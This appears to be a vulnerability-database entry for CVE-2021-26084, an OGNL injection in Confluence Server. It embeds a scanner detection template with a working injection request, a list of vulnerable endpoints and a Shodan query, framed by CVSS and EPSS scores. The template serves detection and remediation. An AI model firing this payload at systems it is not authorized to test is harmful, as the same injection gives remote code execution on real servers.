9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%
Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
id: CVE-2021-26084
info:
name: Confluence Server - Remote Code Execution
author: dhiyaneshDk,philippedelteil
severity: critical
description: Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
remediation: |
Apply the latest security patches provided by Atlassian to mitigate this vulnerability.
reference:
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
- https://github.com/Udyz/CVE-2021-26084
- https://github.com/0xsyr0/OSCP
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-26084
cwe-id: CWE-917
epss-score: 0.97414
epss-percentile: 0.99924
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
metadata:
max-request: 13
vendor: atlassian
product: confluence_data_center
shodan-query: http.component:"Atlassian Confluence"
tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian
http:
- raw:
- |
POST /{{path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb
payloads:
path:
- pages/createpage-entervariables.action?SpaceKey=x
- pages/createpage-entervariables.action
- confluence/pages/createpage-entervariables.action?SpaceKey=x
- confluence/pages/createpage-entervariables.action
- wiki/pages/createpage-entervariables.action?SpaceKey=x
- wiki/pages/createpage-entervariables.action
- pages/doenterpagevariables.action
- pages/createpage.action?spaceKey=myproj
- pages/templates2/viewpagetemplate.action
- pages/createpage-entervariables.action
- template/custom/content-editor
- templates/editor-preload-container
- users/user-dark-features
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value="aaaa{140592=null}'
- type: status
status:
- 200
# digest: 490a0046304402205f134a1bb31a5f1819448929d1f5a1fb7607689bb3287e0c57970f3ed9b28dff0220487bb1df45ffa1fcc0ccf07cee500d7a022f69f26bd37a565410b759560a2ea0:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%